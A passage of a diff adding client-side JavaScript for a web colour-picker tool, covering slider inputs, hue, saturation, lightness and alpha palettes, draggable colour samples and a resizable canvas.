+		this.node.setAttribute('data-mode', this.picker_mode);
+		this.setColor(this.color);
+	};
+
+	/*************************************************************************/
+	//								UNUSED
+	/*************************************************************************/
+
+	var setPickerMode = function setPickerMode(topic, mode) {
+		if (pickers[topic])
+			pickers[topic].setPickerMode(mode);
+	};
+
+	var setColor = function setColor(topic, color) {
+		if (pickers[topic])
+			pickers[topic].setColor(color);
+	};
+
+	var getColor = function getColor(topic) {
+		if (pickers[topic])
+			return new Color(pickers[topic].color);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(callback) {
+		subscribers.indexOf(callback);
+		subscribers.splice(index, 1);
+	};
+
+	var notify = function notify(topic, value) {
+		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
+			return;
+
+		var color = new Color(value);
+		for (var i in subscribers[topic])
+			subscribers[topic][i](color);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-color-picker');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new ColorPicker(elem[i]);
+	};
+
+	return {
+		init : init,
+		Color : Color,
+		RGBColor : RGBColor,
+		RGBAColor : RGBAColor,
+		HSVColor : HSVColor,
+		HSVAColor : HSVAColor,
+		HSLColor : HSLColor,
+		HSLAColor : HSLAColor,
+		setColor : setColor,
+		getColor : getColor,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPickerMode : setPickerMode
+	};
+
+})();
+
+
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action >= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action <= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue < 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha <= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i < size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i < 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i < 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i < nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined && samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i<16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
